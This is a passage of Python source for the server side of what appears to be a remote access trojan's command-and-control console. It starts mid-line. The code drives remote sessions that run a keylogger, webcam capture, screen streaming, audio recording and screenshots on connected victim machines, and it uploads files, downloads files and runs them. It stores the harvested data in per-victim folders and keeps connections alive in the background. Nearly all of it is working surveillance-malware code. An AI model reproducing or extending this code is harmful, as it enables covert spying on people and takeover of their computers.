shell_msg[4:].split('=') assert len(value) == 2 getVal = value[0].lower().strip() setVal = value[1].strip() result = f'{self.theme[2]}Option successfully set:{Style.RESET_ALL} {self.theme[1]}{" ".join([x.capitalize().strip() for x in value[0].split()])}=' # Quick mode if getVal == 'quick mode': output_bool = False if setVal == 'true': output_bool = True self.history = False self.whoami = False self.email_notice[0] = False elif setVal == 'false': self.history = True self.whoami = True else: raise Exception('Something went wrong.') result += str(output_bool) # Username elif getVal == 'username': self.username = set_username(setVal) result += self.username # Theme elif getVal == 'theme': self.theme = set_theme(setVal) result += self.theme[-1] # Encoding elif getVal == 'encoding': self.encoding = set_encoding(setVal) result += self.encoding # History elif getVal == 'history': if setVal == 'true': self.history = True elif setVal == 'false': self.history = False else: raise Exception('Something went wrong.') result += str(self.history) # Whoami elif getVal == 'whoami': if setVal == 'true': self.whoami = True elif setVal == 'false': self.whoami = False else: raise Exception('Something went wrong.') result += str(self.whoami) # Console notice elif getVal == 'notice': if setVal == 'true': self.console_notice = True elif setVal == 'false': self.console_notice = False else: raise Exception('Something went wrong.') result += str(self.console_notice) # Duplicates elif getVal == 'duplicates': if setVal == 'true': self.duplicates = True elif setVal == 'false': self.duplicates = False else: raise Exception('Something went wrong.') result += str(self.duplicates) # Email notice elif getVal == 'email notice': if setVal == 'true': self.email_notice[0] = True elif setVal == 'false': self.email_notice[0] = False else: raise Exception('Something went wrong.') result += str(self.email_notice[0]) elif getVal == 'email': if '@' in setVal: self.email_notice[1] = setVal result += self.email_notice[1] else: raise Exception('Something went wrong.') elif getVal == 'password': if len(setVal) > 0: self.email_notice[2] = setVal result += self.email_notice[2] else: raise Exception('Something went wrong.') elif getVal == 'to': if len(setVal) > 0: self.email_notice[3] = setVal.split(',') result += ', '.join(self.email_notice[3]) else: raise Exception('Something went wrong.') else: print(f'{self.theme[2]}Option failed to be set:{Style.RESET_ALL} {self.theme[1]}{getVal.capitalize()} option not found.\n') continue print(f'{result}\n{Style.RESET_ALL}') except: print(f'{self.theme[2]}Option failed to be set:{Style.RESET_ALL} {self.theme[1]}Something went wrong.\n{Style.RESET_ALL}') # Time elif shell_msg == 'time': print(f'{self.theme[2]}Start time: [{Style.RESET_ALL}{self.theme[0]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}') print(f'{self.theme[2]}Current time: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}') # Banner elif shell_msg == 'banner': banner(self.theme) # Clear elif shell_msg == 'clear' or shell_msg == 'cls': clear_screen() # Exit elif shell_msg == 'exit' or shell_msg == 'quit': self.delete_client(':', '*') print(f'{self.theme[2]}Program start: [{Style.RESET_ALL}{self.theme[3]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}') print(f'{self.theme[2]}Program end: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}') print(f'{self.theme[4]}Bye!{Style.RESET_ALL}') os._exit(0) else: print(f'{self.theme[2]}\'{shell_msg}\' is not a valid input.\n\n{Style.RESET_ALL}', end='') except KeyboardInterrupt: print(f'{self.theme[4]}Keyboard interrupt{Style.RESET_ALL}') """ Session provides the program with all the functionality, takes care of modules & special commands. It allows you to establish an reverse shell with the built in tools. But it also allows you to use one command & get the output & print out the result. """ def session(self, conn, target=None, message=None, stdout=True): # Filter client Server.filter_client = conn[1][1] Server.sessionTime = timer() if target is None: clear_screen() print(f'{self.theme[1]}Connection to {Style.RESET_ALL}{self.theme[2]}{conn[2]}{Style.RESET_ALL}{self.theme[1]}\'s computer has been established!{Style.RESET_ALL}', end='') while True: try: # Session input if target is None: if Server.session_clear_screen: Server.session_clear_screen = False print(f'{self.theme[2]}{conn[2]}>{Style.RESET_ALL}{self.theme[3]}', end='') else: print(f'\n\n{self.theme[2]}{conn[2]}>{Style.RESET_ALL}{self.theme[3]}', end='') msg = readInput(self.encoding, Server.keep_alive_timer * 2) else: msg = message Server.msg = msg if Server.msg.lower() == 'stream': Server.msg = f'stream {self.ip}:{self.module_ports[0]}' elif Server.msg[:3].lower() == 'cam' and len(Server.msg.split()) == 3: args = Server.msg.split() Server.msg = f'cam {self.ip}:{self.module_ports[1]} {args[1]} {args[2]}' elif Server.msg.lower() == 'audio': Server.msg = f'audio {self.ip}:{self.module_ports[2]}' elif Server.msg.lower() == 'keylogger': Server.msg = f'keylogger {self.ip}:{self.module_ports[3]}' elif Server.msg.lower() == 'talk': Server.msg = f'talk {self.ip}:{self.module_ports[4]}' # Stdout msg stdout_save = Server.msg # Save stdout if Server.msg[-5:].lower() == '-b -i' or Server.msg[-5:].lower() == '-i -b': Server.msg = Server.msg[:-6] elif Server.msg[-2:].lower() == '-b' or Server.msg[-2:].lower() == '-i': Server.msg = Server.msg[:-3] pickled_msg = pickle.dumps({'message': Server.msg}) compressed_msg = zlib.compress(pickled_msg, 1) encrypted_msg = Server.encrypt.do_encrypt(compressed_msg) final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg # Running modules if Server.msg.lower() == 'running': print(f'{self.theme[1]}Modules Running:\n - Stream: {stream_info()}\n - Cam: {cam_info()}\n - Audio: {audio_info()}\n - Keylogger: {keylogger_info()}\n - Talk: {talk_info()}{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break # Stream elif Server.msg[:6].lower() == 'stream': try: if Server.msg[7:11].lower() == 'kill': try: print(f'{self.theme[1]}{set_stream_settings(Server.msg[12:])}{Style.RESET_ALL}', end='') except: print(f'{self.theme[1]}Failed to kill stream.{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stream'] setup_directory(dirs) threading.Thread(target=Stream, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Stream', conn[2]], daemon=True).start() except: print(f'{self.theme[1]}Stream failed to run (server).{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break # Cam elif Server.msg[:3].lower() == 'cam': try: if Server.msg[4:8].lower() == 'kill': print(f'{self.theme[1]}{set_cam_settings(Server.msg[9:])}{Style.RESET_ALL}\n') if target is None: continue else: Server.filter_client = None break args = Server.msg[4:].split() cam_size = args[2].split(',') address = args[0].split(':') assert len(Server.msg.split()) == 4 and len(cam_size) == 2 and len(address) == 2 cam_size = tuple([int(cam_size[0]), int(cam_size[1])]) dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Cam'] setup_directory(dirs) threading.Thread(target=Cam, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Cam', conn[2], cam_size], daemon=True).start() except: print(f'{self.theme[1]}Cam failed to run (server).{Style.RESET_ALL}\n') if target is None: continue else: Server.filter_client = None break # Audio elif Server.msg[:5].lower() == 'audio': try: if Server.msg[6:10].lower() == 'kill': print(f'{self.theme[1]}{set_audio_settings(Server.msg[11:])}{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Audio'] setup_directory(dirs) threading.Thread(target=Audio, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Audio', conn[2]], daemon=True).start() except: print(f'{self.theme[1]}Audio failed to run (server).{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break # Keylogger elif Server.msg[:9].lower() == 'keylogger': try: if Server.msg[10:14].lower() == 'kill': print(f'{self.theme[1]}{set_keylogger_settings(Server.msg[15:])}{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break elif Server.msg[10:14].lower() == 'text': try: data = get_logs(int(Server.msg[15:])) print(f'{self.theme[1]}{data[1]}{Style.RESET_ALL}', end='') except: print(f'{self.theme[1]}Failed to type logs.{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break elif Server.msg[10:15].lower() == 'image': try: data = get_logs(int(Server.msg[16:])) assert data[0] is not None dirs = ['Data', f'Data/{data[0]}', f'Data/{data[0]}/Keylogger', f'Data/{data[0]}/Keylogger/Images'] setup_directory(dirs) fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') image = text_image(data[1]) image.show() image.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') print(f'{self.theme[1]}Logs visualization complete!{Style.RESET_ALL}', end='') except: print(f'{self.theme[1]}Failed to visualize logs.{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Keylogger'] setup_directory(dirs) threading.Thread(target=Keylogger, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Keylogger', conn[2]], daemon=True).start() except: print(f'{self.theme[1]}Keylogger failed to run (server).{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break # Talk elif Server.msg[:4].lower() == 'talk': try: if Server.msg[5:9].lower() == 'kill': print(f'{self.theme[1]}{set_talk_settings(Server.msg[10:])}{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Talk'] setup_directory(dirs) threading.Thread(target=Talk, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Talk', conn[2]], daemon=True).start() except: print(f'{self.theme[1]}Talk failed to run (server).{Style.RESET_ALL}', end='') if target is None: continue else: Server.filter_client = None break # Upload if Server.msg[:6].lower() == 'upload': try: dirs = ['Data', 'Uploads'] setup_directory(dirs) args = Server.msg[7:] if Server.msg[-2:].lower() == '-e': args = Server.msg[7:-3] with open(f'{os.getcwd()}/{dirs[-1]}/{args}', 'rb') as f: pickled_msg = pickle.dumps({'message': Server.msg, 'image': f.read()}) compressed_msg = zlib.compress(pickled_msg, 1) encrypted_msg = Server.encrypt.do_encrypt(compressed_msg) final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg conn[0].send(final_msg) except: print(f'{self.theme[1]}Uploading {args} failed, please try again.{Style.RESET_ALL}', end='') if target is None: continue else: print('\n') Server.filter_client = None break # Note elif Server.msg[:4].lower() == 'note': try: note = Server.msg[5:].split('=>') assert len(note) == 2 if note[0] == '': note[0] = 'global' if note[1] == '': raise Exception('Note message is empty.') dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Notes'] setup_directory(dirs) with open(f'{os.getcwd()}/{dirs[-1]}/{note[0].strip()}.txt', 'a') as f: f.write(f'{note[1].strip()} [{time.strftime("%Y-%m-%d %H:%M-%S")}]\n') print(f'{self.theme[1]}Note{Style.RESET_ALL}{self.theme[3]} {note[0].strip()}.txt{Style.RESET_ALL}{self.theme[1]} written to complete!', end='') except: print(f'{self.theme[1]}Writing note failed, please try again.', end='') if target is None: continue else: print('\n') Server.filter_client = None break # Whoami elif Server.msg.lower() == 'whoami': info = '' for typez, item in conn[4]: info += f'\n{self.theme[1]}{typez}: {Style.RESET_ALL}{self.theme[3]}{item}{self.theme[1]}' print(f'{self.theme[1]}USER: {self.theme[3]}{conn[2]}{Style.RESET_ALL}{self.theme[1]}\nADMIN: {self.theme[3]}{conn[3]}{Style.RESET_ALL}{self.theme[1]}\nIP: {Style.RESET_ALL}{self.theme[3]}{conn[1][0]}{Style.RESET_ALL}{self.theme[1]}\nPORT: {Style.RESET_ALL}{self.theme[3]}{conn[1][1]}{Style.RESET_ALL}{info}', end='') if target is None: continue else: print('\n') Server.filter_client = None break # Session time elif Server.msg.lower() == 'time': print(f'{self.theme[1]}Session Start: [{Style.RESET_ALL}{self.theme[0]}{Server.sessionTime}{Style.RESET_ALL}{self.theme[1]}]{Style.RESET_ALL}') print(f'{self.theme[1]}Current time: [{Style.RESET_ALL}{self.theme[2]}{timer()}{Style.RESET_ALL}{self.theme[1]}]{Style.RESET_ALL}', end='') if target is None: continue else: print('\n') Server.filter_client = None break # Clear elif Server.msg.lower() == 'clear' or Server.msg.lower() == 'cls': clear_screen() if target is None: Server.session_clear_screen = True continue else: Server.filter_client = None break # Exit elif Server.msg.lower() == 'exit' or Server.msg.lower() == 'quit': print(f'{self.theme[2]}Session start: [{Style.RESET_ALL}{self.theme[0]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}') print(f'{self.theme[2]}Session end: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}') print(f'{self.theme[4]}{conn[2]}\'s session quit successfully!\n{Style.RESET_ALL}') # Reset filter client Server.filter_client = None break # Send to client else: conn[0].send(final_msg) # Receive from client while True: # Recived buffer client_msg = conn[0].recv(81920) # New msg if Server.new_msg: Server.msg_len = int(client_msg[:Server.headersize]) Server.new_msg = False # Append to full_msg Server.full_msg += client_msg # Recived full msg if len(Server.full_msg)-Server.headersize == Server.msg_len: decrypted_msg = Server.encrypt.do_decrypt(Server.full_msg[Server.headersize:]) decompressed_msg = zlib.decompress(decrypted_msg) client_msg = pickle.loads(decompressed_msg)['message'].replace('ÿ', ' ') pickled_data = pickle.loads(decompressed_msg) result = f'{self.theme[1]}{client_msg}{Style.RESET_ALL}' # Download if Server.msg[:8].lower() == 'download': try: assert pickled_data['download'] dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Downloads'] setup_directory(dirs) args = Server.msg[9:] if Server.msg[-2:].lower() == '-e': args = Server.msg[9:-3] with open(f'{os.getcwd()}/{dirs[-1]}/{args}', 'wb') as f: f.write(pickled_data['download']) if Server.msg[-2:].lower() == '-e': Popen(f'{os.getcwd()}/{dirs[-1]}/{args}', shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) except: pass finally: print(result, end='') # Download screenshot elif Server.msg.lower() == 'screenshot' or Server.msg.lower() == 'screenshot -s': try: dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Screenshots'] setup_directory(dirs) fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') img = Image.fromarray(pickled_data['screenshot'], 'RGB') img.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') if Server.msg[-2:].lower() == '-s': img.show() except: pass finally: print(result, end='') # Download webcam screenshot elif Server.msg[:6].lower() == 'webcam': try: dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Webcam'] setup_directory(dirs) fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') img = Image.fromarray(pickled_data['webcam']) b, g, r = img.split() img = Image.merge('RGB', (r, g, b)) img.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') if Server.msg[-2:].lower() == '-s': img.show() except: pass finally: print(result, end='') # Save stdout & as an image elif stdout_save[-5:].lower() == '-b -i' or stdout_save[-5:].lower() == '-i -b': try: dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout/Images'] setup_directory(dirs) fn = time.strftime('%Y-%m-%d (%H-%M-%S)') # Text with open(f'{os.getcwd()}/{dirs[-2]}/{stdout_save[:-6]}--{fn}.txt', 'wb') as f: f.write(bytes(client_msg, self.encoding)) # Image image = text_image(client_msg) image.show() image.save(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-6]}--{fn}.png') print(result, end='') except: print(f'{self.theme[1]}Failed to backup command & image result.\n\n{Style.RESET_ALL}', end='') # Save stdout elif stdout_save[-2:].lower() == '-b': try: dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout'] setup_directory(dirs) fn = time.strftime('%Y-%m-%d (%H-%M-%S).txt') with open(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-3]}--{fn}', 'wb') as f: f.write(bytes(client_msg, self.encoding)) print(result, end='') except: print(f'{self.theme[1]}Failed to backup command result.\n\n{Style.RESET_ALL}', end='') # Save stdout as an image elif stdout_save[-2:].lower() == '-i': try: dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout/Images'] setup_directory(dirs) fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') image = text_image(client_msg) image.show() image.save(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-3]}--{fn}') print(result, end='') except: print(f'{self.theme[1]}Failed to backup image result.\n\n{Style.RESET_ALL}', end='') # Print stdout else: if stdout: print(result, end='') # Reset Server.new_msg = True Server.msg_len = 0 Server.full_msg = b'' break except KeyboardInterrupt: print(f'{self.theme[4]}Keyboard interrupt{Style.RESET_ALL}') if target is None: continue else: break except TimeoutError: print(f'{self.theme[4]}Your session has timed out, because of inactivity,\nor by having submitted an empty response.\n{Style.RESET_ALL}') # Reset filter client Server.filter_client = None break except KeyError: # Reset filter client Server.filter_client = None break except: if stdout: print(f'{self.theme[0]}Session start: [{Server.sessionTime}]{Style.RESET_ALL}{Style.RESET_ALL}') print(f'{self.theme[1]}Session end: [{timer()}]{Style.RESET_ALL}') print(f'{self.theme[4]}\nLost connection to client\n{Style.RESET_ALL}') # Reset filter client Server.filter_client = None if target is not None: return True break if target is not None: if stdout: print(end='\n\n') Server.filter_client = None break """ To send simple text message, not handling for any modules or special commands like screenshot or download. """ def send_message(self, conn, message): pickled_msg = pickle.dumps({'message': message}) compressed_msg = zlib.compress(pickled_msg, 1) encrypted_msg = Server.encrypt.do_encrypt(compressed_msg) final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg conn.send(final_msg) while True: # Recived buffer client_msg = conn.recv(81920) # New msg if Server.new_msg: Server.msg_len = int(client_msg[:Server.headersize]) Server.new_msg = False # Append to full_msg Server.full_msg += client_msg # Recived full msg if len(Server.full_msg)-Server.headersize == Server.msg_len: decrypted_msg = Server.encrypt.do_decrypt(Server.full_msg[Server.headersize:]) decompressed_msg = zlib.decompress(decrypted_msg) client_msg = pickle.loads(decompressed_msg)['message'] # Reset Server.new_msg = True Server.msg_len = 0 Server.full_msg = b'' return client_msg """ Doesn't skip printing out connection if an index is cut out of the list, it also handles for long list. It handles for no connections & removing dead connections. It also displays the correct index even after deleting a connection before others in the list. To achieve this: * Set connection no None * Set index to -1 for every deleted connection * Handle for long flag * Handle for 0 connections """ def list_connections(self, l): len_conns = len(Server.connections) results = '' i = 0 for index, conn in enumerate(Server.connections): index += i try: x = self.session(self.getConn(index), True, 'aij4oaw4orn12u9w5ar7', False) if x is not None: raise Exception('Connection Error') info = '' if l: for typez, item in Server.information[index]: info += f'\n{self.theme[2]}{typez}{Style.RESET_ALL}{self.theme[2]}[{Style.RESET_ALL}{self.theme[3]}{item}{self.theme[2]}]' if l and len_conns > 1: info += '\n' results += f'{self.theme[2]}{Server.usernames[index]}[{Style.RESET_ALL}{self.theme[3]}{index}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[index]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}{info}\n' except: Server.connections[index] = None len_conns -= 1 i -= 1 for i, conn in enumerate(Server.connections): if conn is None: self.delete_client(i, Server.usernames[i]) counter = f'{self.theme[2]}Number of connected clients ({Style.RESET_ALL}{self.theme[3]}{len_conns}{Style.RESET_ALL}{self.theme[2]})\n{Style.RESET_ALL}{self.theme[3]}{"-" * (30 + len(str(len_conns)))}\n{Style.RESET_ALL}' if len_conns == 0: results = f'{results}{self.theme[1]}No clients connected\n{Style.RESET_ALL}' if l and len_conns > 1: print(f'{self.theme[2]}{counter}{results}{Style.RESET_ALL}', end='') else: print(f'{self.theme[2]}{counter}{results}{Style.RESET_ALL}') """ Delete client is a vital method to clean up & remove any unwanted connection, it's used all throughout the program if the connection is lost or is wanted to be closed. """ def delete_client(self, index, user): if self.history: now = time.strftime('%Y-%m-%d (%H-%M-%S)') if user == '*': for i, conn in enumerate(Server.connections): dirs = ['Data', f'Data/{Server.usernames[i]}'] setup_directory(dirs) with open(f'{os.getcwd()}/Data/{Server.usernames[i]}/History.txt', 'a') as f: msg = f'DISCONNECTED: ({now})' f.write(f'{msg}\n{"-" * len(msg)}\n') else: dirs = ['Data', f'Data/{user}'] setup_directory(dirs) with open(f'{os.getcwd()}/Data/{user}/History.txt', 'a') as f: msg = f'DISCONNECTED: ({now})' f.write(f'{msg}\n{"-" * len(msg)}\n') if self.console_notice: now = time.strftime('%H:%M') msg = '' if user == '*' or index == ':': msg = 'All clients disconnected.' else: msg = f'{Server.usernames[index]} Disconnected. ({now})\nAddress: {Server.addresses[index][0]}:{Server.addresses[index][1]}' now = time.strftime('%H:%M') Server.toaster.show_toast('Disconnection Notice!', msg, icon_path=None, duration=5, threaded=True) if index == ':': for connection in Server.connections: connection.close() del Server.connections[:] del Server.addresses[:] del Server.usernames[:] del Server.priveldges[:] del Server.information[:] else: try: Server.connections[index].close() except: pass del Server.connections[index] del Server.addresses[index] del Server.usernames[index] del Server.priveldges[index] del Server.information[index] """ GetConn provides the complete data available for a specific user with the index as the only criteria. This method is passed in when calling session for user specific interaction. """ def getConn(self, target): conn = Server.connections[target] addr = Server.addresses[target] username = Server.usernames[target] privledge = Server.priveldges[target] info = Server.information[target] return (conn, addr, username, privledge, info) """ KeepAlive provides data to be sent to every client in order to prevent the socket being closed after inactivity. This is vital especially when dealing with multiple clients & would be alot of effort to keep them all alive manually. Without this method most Windows sockets close after 10 minutes of inactivity. """ def keepAlive(self): while True: counter = 0 while counter < Server.keep_alive_timer: time.sleep(1) counter += 1 if counter == Server.keep_alive_timer: for index, conn in enumerate(Server.connections): if Server.addresses[index][1] != Server.filter_client: try: self.send_message(conn, 'aij4oaw4orn12u9w5ar7') except: self.delete_client(index, Server.usernames[index]) break """ These three methods is simply queuing up & threading the main methods of the Server class to work asynchronously. """ def workers(self): for _ in range(Server.threads): threading.Thread(target=self.work, daemon=True).start() def work(self): while True: work = Server.q.get() if work == 1: self.listen() self.accept() if work == 2: self.shell() Server.q.task_done() def create_jobs(self): for job in Server.jobs: Server.q.put(job) Server.q.join()